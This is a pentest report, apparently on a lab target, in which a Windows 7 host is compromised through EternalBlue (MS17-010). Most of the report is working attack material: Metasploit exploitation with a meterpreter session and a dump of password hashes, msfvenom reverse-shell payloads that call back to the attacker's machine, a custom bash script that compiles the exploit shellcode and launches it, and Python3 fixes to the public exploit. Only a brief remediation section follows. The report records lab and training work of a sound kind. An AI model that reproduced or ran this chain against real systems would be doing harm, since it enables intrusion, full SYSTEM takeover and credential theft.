Support Script Pentest

Black Box Report

OreoByte

2020-12-30

Introduction

The startup company “Support Script” only has enough resources to support a single subnet. The client has had problems with social engineering attacks in the past. Worry that anyone who has access to their network through phasing attacks will be able to attack their server.

Scope Of Engagement

Given internal VPN access. Can a shell with the highest privilege user be obtained on the internal server? This will be a black box test. The machine’s IPv4 address will be provided and nothing else. Any vulnerabilities exploited with `Metasploit`. Must also be exploited without `Metasploit`. However, `Msfvenom` is alright to use in this engagement.

Inital Recon

```
1  nmap -p- -sC -sV -Pn -oA nmap_output 10.10.116.66 -v
```

```
┌──(oreobyte㉿kali)-[~/makeyourmark/recon]
└─$ cat nmap_output.nmap
# Nmap 7.91 scan initiated Fri Jan 22 00:49:14 2021 as: nmap -p- -sC -sV -Pn -oA nmap_output -v 10.10.116.66
Nmap scan report for 10.10.116.66
Host is up (0.19s latency).
Not shown: 65526 closed ports
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| ssl-cert: Subject: commonName=Jon-PC
| Issuer: commonName=Jon-PC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-01-21T00:44:04
| Not valid after:  2021-07-23T00:44:04
| MD5:   b665 4c0a 3b18 7965 73de 1848 2ec1 f39d
|_SHA-1: 87ef 8bf4 d56b 8770 76c7 04c3 90e5 06cd 8817 6481
|_ssl-date: 2021-01-22T01:04:58+00:00; -8h00m02s from scanner time.
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49158/tcp open  msrpc              Microsoft Windows RPC
49159/tcp open  msrpc              Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

The full TCP `nmap` scan shows that port 445 SMB is open. A crackmapexec SMB scan to check password policy and double-check if the domain found is the same `JON-PC`.

```
┌──(oreobyte㉿kali)-[~/makeyourmark]
└─$ crackmapexec smb --pass-pol 10.10.116.66
SMB         10.10.116.66    445    JON-PC           [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:JON-PC) (domain:Jon-PC) (signing:False) (SMBv1:True
```

Vulnerabilty Scans

From the previous scans. The Operating System of the server is `Windows 7 Professional 7601 Service Pack 1 x64`. A older version of `Windows`. Vulnerabilty scans to find any commmmon vulnerabilities that will help with future exploitation.

Nmap Vulnerabilty Scan

```
1  nmap -p 135,139,445,3389,49152,49153,49154,49155,49156,49157,49158,49159 -Pn -sC -sV --
       script +vuln 10.10.116.66 -oN vuln_scan
```

```
smb-vuln-ms17-010:
  VULNERABLE:
  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
    State: VULNERABLE
    IDs:  CVE:CVE-2017-0143
    Risk factor: HIGH
      A critical remote code execution vulnerability exists in Microsoft SMBv1
       servers (ms17-010).

    Disclosure date: 2017-03-14
    References:
      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

A `nmap` vulnerability scan with all the ports discovered. Shows the server vulnerable to `Eternalblue CVE-2017-0143`.

Metasploit Eteranbleblue Vulnerablity Scan

To make sure `nmap` was not a false positive. Double-checking with Metasploit's `smb_ms17_010` check module. Configuring the module with the server's IP address and SMBDomain of `JON_PC`.

```
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) >
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                                     Required  Description
   ----         ---------------                                     --------  -----------
   CHECK_ARCH   true                                                no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                                no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                               no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS       10.10.116.66                                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        445                                                 yes       The SMB service port (TCP)
   SMBDomain    JON-PC                                              no        The Windows domain to use for authentication
   SMBPass                                                          no        The password for the specified username
   SMBUser                                                          no        The username to authenticate as
   THREADS      1                                                   yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_ms17_010) >
```

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 10.10.116.66:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.116.66:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) >
```

The `smb_ms17_010` check module confirms it is likely vulnerable to `Eternalblue`. However, it does not return any named pipes such as `\netlogon` or other.

Eteranlblue

Exploitation With Metasploit

Exploitation of `Eternalblue` with Metasploit can be done with the `ms17_010_eternalblue` exploit module. Set the server's IP address and SMBDomain of`JON_PC`before running the exploit.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.116.66     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      Jon-PC           no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     tun0             yes       The listen address (an interface may be specified)
   LPORT     9003             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.11.16.10:9003
[*] 10.10.116.66:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.116.66:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.116.66:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.116.66:445 - Connecting to target for exploitation.
[+] 10.10.116.66:445 - Connection established for exploitation.
[+] 10.10.116.66:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.116.66:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.116.66:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.116.66:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.116.66:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.116.66:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.116.66:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.116.66:445 - Sending all but last fragment of exploit packet
[*] 10.10.116.66:445 - Starting non-paged pool grooming
[+] 10.10.116.66:445 - Sending SMBv2 buffers
[+] 10.10.116.66:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.116.66:445 - Sending final SMBv2 buffers.
[*] 10.10.116.66:445 - Sending last fragment of exploit packet!
[*] 10.10.116.66:445 - Receiving response from exploit packet
[+] 10.10.116.66:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.116.66:445 - Sending egg to corrupted connection.
[*] 10.10.116.66:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.10.116.66
[*] Meterpreter session 1 opened (10.11.16.10:9003 -> 10.10.116.66:49225) at 2021-01-22 01:24:53 -0800
[+] 10.10.116.66:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.116.66:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.116.66:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >
```

Exploitation with Metasploit's `ms17_010_eternalblue` module is successful. Local enumeration with `getuid` and `sysinfo`. This shows that our meterpreter session has the highest local system privileges `NT AUTHORITY\SYYSTEM` on the server `JON-PC`. These permissions allow an attacker to dump local hashes and migrate to a different process for a more stable shell.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JON-PC
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

```
meterpreter > migrate -N winlogon.exe
[*] Migrating from 1280 to 660...
[*] Migration completed successfully.
meterpreter >
```

Exploitation Without Metasploit

Searchsploit With Msfvenom

First searching for the Python script with searchsploit and copying to the local working directory with the `-m` argument.


```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/impacket_ms17-010]
└─$ searchsploit -m windows/remote/42315.py
  Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
      URL: https://www.exploit-db.com/exploits/42315
     Path: /usr/share/exploitdb/exploits/windows/remote/42315.py
File Type: Python script, ASCII text executable, with CRLF line terminators

Copied to: /home/oreobyte/makeyourmark/exploit_without_msfconsole/impacket_ms17-010/42315.py
```

Copy the original to another file. If there is a need to edit or locally restore the original file.

```
cp 42315.py feeling_blue.py
```

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/impacket_ms17-010]
└─$ head feeling_blue.py
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time

'''
MS17-010 exploit for Windows 2000 and later by sleepya

┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/impacket_ms17-010]
└─$ pip3 install mysmb
ERROR: Could not find a version that satisfies the requirement mysmb (from versions: none)
ERROR: No matching distribution found for mysmb

┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/impacket_ms17-010]
└─$ pip install mysmb
ERROR: Could not find a version that satisfies the requirement mysmb (from versions: none)
ERROR: No matching distribution found for mysmb
```

From the imported Python modules. The Python script has a missing mysmb and can't be installed using pip. The mysmb module install from `https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py` with `wget`.

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/impacket_ms17-010]
└─$ wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
--2021-01-22 06:13:59--  https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.24.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.24.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16669 (16K) [text/plain]
Saving to: 'mysmb.py.1'

mysmb.py.1                                          100%[=================================

2021-01-22 06:14:00 (2.84 MB/s) - 'mysmb.py.1' saved [16669/16669]
```

Now to create the payload with `msfvenom` and modify the Python script to include the new payload.

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/impacket_ms17-010]
└─$ msfvenom -p windows/shell_reverse_tcp lhost=10.11.16.10 lport=8900 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
```

Start the listener for the reverse shell before running the Python script.

```
def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()
    smb_send_file(smbConn, 'shell.exe', 'C', '/update.exe')
    service_exec(conn, r":\update.exe")
'''
    print('creating file c:\\pwned.txt on the target')
    tid2 = smbConn.connectTree('C$')
    fid2 = smbConn.createFile(tid2, '/pwned.txt')
    smbConn.closeFile(tid2, fid2)
    smbConn.disconnectTree(tid2)
'''
```

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/impacket_ms17-010]
└─$ python3 feeling_blue.py 10.10.90.199
Target OS: Windows 7 Professional 7601 Service Pack 1
Not found accessible named pipe
Done
```

The Python script runs, however, fails with no valid name pipe. There may be a different named pipe list we can use to check if there is an accessible named pipe. With the Metasploit auxiliary scanner module used before `smb_ms17_010`. To use in the Python script as `python3 feeling_blue.py 10.10.90.199 <named_pipe_name>`.

Assembly With Msfvenom

Another method of exploiting `Eternalblue` is by compiling the assembly exploit code. The code and supporting files will used from `https://github.com/worawit/MS17-010` Github repository.

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole]
└─$ git clone https://github.com/worawit/MS17-010.git
Cloning into 'MS17-010'...
remote: Enumerating objects: 183, done.
remote: Total 183 (delta 0), reused 0 (delta 0), pack-reused 183
Receiving objects: 100% (183/183), 113.61 KiB | 452.00 KiB/s, done.
Resolving deltas: 100% (102/102), done.
```

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/MS17-010/shellcode]
└─$ file eternalblue_kshellcode_x64.asm
eternalblue_kshellcode_x64.asm: ASCII text

┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole/MS17-010/shellcode]
└─$ tail eternalblue_kshellcode_x64.asm
    push rcx        ; dwCreationFlags = 0
    mov r9, rcx     ; lpParameter = NULL
    lea r8, [rel userland_payload]  ; lpStartAddr
    mov edx, ecx    ; dwStackSize = 0
    sub rsp, 0x20
    call rax
    add rsp, 0x30
    ret

userland_payload:
```

Built a small bash script to help make compiling the assembly. To make it easier with setting the `attacker IP address`, `server IP address`, and `attacker listening port`.

```
#!/bin/bash
# eternalblue without metasploit github script
# how to run
# chmod +x script.sh
# ./script.sh lhost lport rhost
help () {
    echo -e "\nMS17-010 Assembly and msfvenom Help Menu\n----\n-l | lhost ipv4 address"
    echo "-p | lport listening port"
    echo "-r | rport target ipv4 address"
    echo -e "-f | directory name to output shellcode\n\nExample:"
    echo -e "./blue.sh -l 192.168.1.45 -p 1337 -r 192.168.1.14 -f blue_code\n"
}
# help menu
if [ -z "$1" ]; then
    help
    exit 1
elif [ "$1" == "-h" ]; then
    help
    exit 1
else
while getopts l:p:r:f: opts
do
    case "$opts" in
    l) l_host=$OPTARG;;
    p) l_port=$OPTARG;;
    r) r_host=$OPTARG;;
    f) f_dir=$OPTARG;;
esac
done
fi

# grab code from github <already going to install that
check=`ls | grep -i "MS17-010"`
if [ "$check" == "MS17-010" ]; then
    echo -e "\nExploit Code Already Downloaded\n"
else
    git clone https://github.com/worawit/MS17-010.git
fi

#create listener for tmux
export heylisten=$l_port
tmux split-window -h nc -lvnp $heylisten

# create folder_for all the binaries
mkdir $f_dir

#compile for 64bit windows + payload creation
nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./$f_dir/sc_x64_kernel.
    bin
msfvenom -p windows/x64/shell_reverse_tcp LPORT=$l_port LHOST=$l_host --platform windows -
    a x64 --format raw -o ./$f_dir/sc_x64_payload.bin
cat ./$f_dir/sc_x64_kernel.bin ./$f_dir/sc_x64_payload.bin > ./$f_dir/sc_x64.bin

#compile for 32bit windows + payload creation
nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./$f_dir/sc_x86_kernel.
    bin
msfvenom -p windows/shell_reverse_tcp LPORT=$l_port LHOST=$l_host --platform windows -a
    x86 --format raw -o ./$f_dir/sc_x86_payload.bin
cat ./$f_dir/sc_x86_kernel.bin ./$f_dir/sc_x86_payload.bin > ./$f_dir/sc_x86.bin

```

```
57  # fuse binaries together
58  python MS17-010/shellcode/eternalblue_sc_merge.py ./$f_dir/sc_x86.bin ./$f_dir/sc_x64.bin
        ./$f_dir/sc_all.bin
59
60  # run exploit (with proxychians)
61  echo -e "\npython MS17-010/eternalblue_exploit7.py $r_host ./$f_dir/sc_all.bin\n"
62  python MS17-010/eternalblue_exploit7.py $r_host ./$f_dir/sc_all.bin
```

However, there is a problem. The script used to send the compiled shellcode `eternalblue_exploit7.py` is written for Python2 and doesn't have the impacket module installed.

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole]
└─$ ./blue.sh -l 10.11.16.10 -p 9002 -r 10.10.116.66 -f sploit_blue

Exploit Code Already Downloaded

No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: ./sploit_blue/sc_x64_payload.bin
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: ./sploit_blue/sc_x86_payload.bin
Traceback (most recent call last):
  File "MS17-010/eternalblue_exploit7.py", line 2, in <module>
    from impacket import smb
ImportError: No module named impacket
```

Trying to install impacket for Python2 with pip shows it's already satisfied for Python3 instead.

```
└─$ pip install impacket
Requirement already satisfied: impacket in /home/oreobyte/.local/lib/python3.9/site-packages (0.9.23.dev1+20201209.133255.ac307704)
Requirement already satisfied: flask>=1.0 in /usr/lib/python3/dist-packages (from impacket) (1.1.2)
Requirement already satisfied: pyasn1>=0.2.3 in /usr/lib/python3/dist-packages (from impacket) (0.4.8)
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from impacket) (1.15.0)
Requirement already satisfied: pycryptodomex in /usr/lib/python3/dist-packages (from impacket) (3.9.7)
Requirement already satisfied: ldapdomaindump>=0.9.0 in /usr/lib/python3/dist-packages (from impacket) (0.9.3)
Requirement already satisfied: pyOpenSSL>=0.13.1 in /usr/lib/python3/dist-packages (from impacket) (20.0.1)
Requirement already satisfied: ldap3!=2.5.0,!=2.5.2,!=2.6,>=2.5 in /usr/lib/python3/dist-packages (from impacket) (2.8.1)
```

Modifying the python script to run it with Python3 as `#!/usr/bin/python3` returns `TypeError can't concat str to bytes`. This is because when adding two variables together. Both variables must have the same type. However Python3 bytes are written as `b'\x01\x02\x03\x04'` instead of `'\x01\x02\x03\04'` with Python2.

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole]
└─$ ./blue.sh -l 10.11.16.10 -p 9002 -r 10.10.116.66 -f sploit_blue

Exploit Code Already Downloaded

No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: ./sploit_blue/sc_x64_payload.bin
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: ./sploit_blue/sc_x86_payload.bin
Traceback (most recent call last):
  File "/home/oreobyte/makeyourmark/exploit_without_msfconsole/MS17-010/eternalblue_exploit7.py", line 76, in <module>
    ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
TypeError: can't concat str to bytes
```

After correcting bytes for Python3 in the `eternalblue_exploit7.py` script. Modifying bash script to use python3 as `python3 MS17-010/eternalblue_exploit7.py $r_host ./$f_dir/sc_all.bin`. Running the script again has Eternalblue run without Metasploit successfully. Returning a new shell in the split Tmux pane.

```
sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000
pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += b'BAAD' # can be any
pkt += b'\x00'*0x7c
sk.send(pkt)
```

```
┌──(oreobyte㉿kali)-[~/makeyourmark/exploit_without_msfconsole]
└─$ ./blue.sh -l 10.11.16.10 -p 9002 -r 10.10.116.66 -f sploit_blue
fatal: destination path 'MS17-010' already exists and is not an empty directory.
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: ./sploit_blue/sc_x64_payload.bin
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: ./sploit_blue/sc_x86_payload.bin

python3 MS17-010/eternalblue_exploit7.py 10.10.116.66 ./sploit_blue/sc_all.bin

shellcode size: 2203
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
```

```
listening on [any] 9002 ...
connect to [10.11.16.10] from (UNKNOWN) [10.10.116.66] 49505
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

Client Remediation

Remediation of `Eternalblue` can be done with upgrade to the most updated version of the Windows Operating System `Windows 10`. If the server has to stay on `Windows 7`. Installing the patches to prevent `Eternalblue`.

Recommendations

To upgrade to the most updated version of windows. The `Windows 10 installation media` can be used. Found on Microsoft website `https://www.microsoft.com/en-us/software-download/windows10`.

1. Download the ISO image
2. When running the media creation tool
3. Choose `Upgrade this PC now`, instead of creating installation media.
4. Follow prompts
5. Activate the new `Windows 10` operating system. From navigating to `settings Updaate & Security > Activation`, and adding the new digital Windows 10 license key.

To maintain Windows 7. I not automatically installed when running `Windows Update`. Information for Patching Eternalblue can be found on Microsoft's support page below.

`https://support.microsoft.com/en-us/topic/march-2017-security-only-quality-update-for-windows-7-sp1-and-windows-server-2008-r2-sp1-e5767049-3be1-3993-e67d-b4208c943850`

1. Select MS17-010
2. Selct Windows version below
3. From the `Microsoft Update Catalog`. Download the correct version.
4. Run the local patch installer and reboot.
5. Verify changes under `Control Panel > Windows Updates > View update history`

Host Operating System	Open Ports	Services	Obtained Access?	Vulnerabilities Exploited
Windows 7 Pro (6.1 Build 7601, Service Pack 1)	135, 139, 445, 3389, 49152, 49153, 49154, 49155, 49156, 49157, 49158, 49159	MSRPC, Netbios, SMB, RDP	YES	Meterpreter (ms17_010_eternalblue), Eteranlblue (Assembly, Msfvenom, Python3)